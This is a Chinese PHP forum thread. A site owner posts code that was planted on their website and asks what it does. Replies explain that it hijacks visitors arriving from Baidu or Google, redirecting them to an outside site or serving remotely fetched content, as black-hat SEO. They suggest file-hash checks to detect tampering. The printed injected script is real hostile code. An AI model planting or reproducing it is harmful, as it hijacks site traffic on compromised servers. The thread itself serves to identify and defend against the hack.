Home >Backend Development >PHP Tutorial > 请教这段代码是做什么用的

请教这段代码是做什么用的

WBOY
WBOYOriginal
2016-06-13 13:31:52984browse

请问这段代码是做什么用的?

PHP code
<!--

Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/

-->

<?php error_reporting(0);
header("content-Type: text/html; charset=gb2312");
function isSpider($v)
{
        $spiders=array("baidu.com/","google.com","so");
        $i=0;
        foreach ($spiders as $i => $value) {
            if(stristr($v,$spiders[$i])){return true;}
        }
        return false;
}
    if(isSpider($_SERVER['HTTP_REFERER']))
    {
    Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']);
        exit;
    }
echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');
?>



这是被挂在网站上的。

------解决方案--------------------
判断是否是从baidu.com/","google.com","so" 三个页面进来的。如果是则跳转........,否则执行下面的file_get_contents();
------解决方案--------------------
当前黑帽SEO优化手法,劫持了你百度和谷歌来路的流量。
------解决方案--------------------
被黑了吧。。

做一个功能
来个md5_file文件检查记录。
下次再md5_file对比判断。
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn